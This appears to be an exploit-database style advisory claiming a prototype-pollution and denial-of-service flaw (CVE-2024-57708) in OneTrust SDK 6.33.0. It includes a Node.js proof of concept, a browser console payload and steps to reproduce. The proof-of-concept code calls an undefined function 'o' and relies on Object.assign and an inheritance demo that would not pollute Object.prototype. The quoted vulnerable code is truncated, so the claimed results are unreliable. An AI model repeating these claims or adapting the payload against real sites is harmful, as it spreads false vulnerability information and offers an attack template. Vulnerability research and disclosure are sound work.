📄 OneTrust SDK 6.33.0 Prototype Pollution / Denial of Service

# OneTrust SDK v6.33.0 - Prototype Pollution Vulnerability via `Object.setPrototypeOf` and `Object.assign` (DoS Impact)
    
    - **Exploit Title**: OneTrust SDK v6.33.0 - Prototype Pollution Vulnerability via `Object.setPrototypeOf` and `Object.assign` (DoS Impact)
    - **Date**: 01/01/2025
    - **Exploit Author**: Alameen Karim Merali
    - **Vendor Homepage**: [OneTrust JavaScript API](https://developer.onetrust.com/onetrust/docs/javascript-api)
    - **Software Link**: [otBannerSdk.js v6.33.0](https://discord.com/assets/oneTrust/v4/scripttemplates/6.33.0/otBannerSdk.js)
    - **Version**: 6.33.0
    - **Tested on**: Kali Linux
    - **CVE ID**: CVE-2024-57708
    
    ## Vulnerability Summary
    
    A vulnerability exists in **OneTrust SDK v6.33.0** that allows an attacker to perform **Prototype Pollution** via the misuse of `Object.setPrototypeOf` and `Object.assign`. An attacker can inject malicious properties into the prototype chain, potentially causing **Denial of Service (DoS)** or altering the behavior of inherited objects throughout the application.
    
    ## Technical Details
    
    The affected code includes prototype assignment logic such as:
    
    ```javascript
    var o = function(e, t) {
      return (o = Object.setPrototypeOf || { __proto__: [] } instanceof ...);
    };
    ```
    
    If the `t` argument (a user-supplied object) contains a `__proto__` or `constructor.prototype` reference, it can pollute `Object.prototype` globally.
    
    ## Proof-of-Concept (PoC)
    
    ```javascript
    function testPrototypePollution() {
      const maliciousPayload = {
        "__proto__": {
          polluted: "yes"
        }
      };
    
      // Using vulnerable function 'o'
      try {
        o({}, maliciousPayload);
        console.log("After o:", {}.polluted); // "yes"
      } catch (e) {
        console.error("Error testing o:", e);
      }
    
      // Using Object.assign
      try {
        Object.assign({}, maliciousPayload);
        console.log("After Object.assign:", {}.polluted); // "yes"
      } catch (e) {
        console.error("Error testing Object.assign:", e);
      }
    
      // Cleanup
      delete Object.prototype.polluted;
    }
    testPrototypePollution();
    ```
    
    ## Browser Console PoC (DevTools)
    
    ```javascript
    var maliciousObj = { __proto__: { hacked: true } };
    var newObj = Object.create(maliciousObj);
    console.log(newObj.hacked); // true
    ```
    
    Screenshot: [PoC Screenshot](https://ibb.co/B2hyYr5v)
    
    ## Steps to Reproduce
    
    1. Save the PoC script above as `exploit.js`
    2. Run using Node.js: `node exploit.js`
    3. Observe polluted output (`{}.polluted === "yes"`)
    4. Alternatively, run the payload in browser DevTools
    
    ## Impact
    
    - Global object pollution
    - Application logic errors
    - Potential DoS
    - Further exploitation depending on context
    
    ## Recommendation
    
    Developers should upgrade to a patched version and sanitize any user input used in object merging or prototype manipulation.
    
    Sent from my iPhone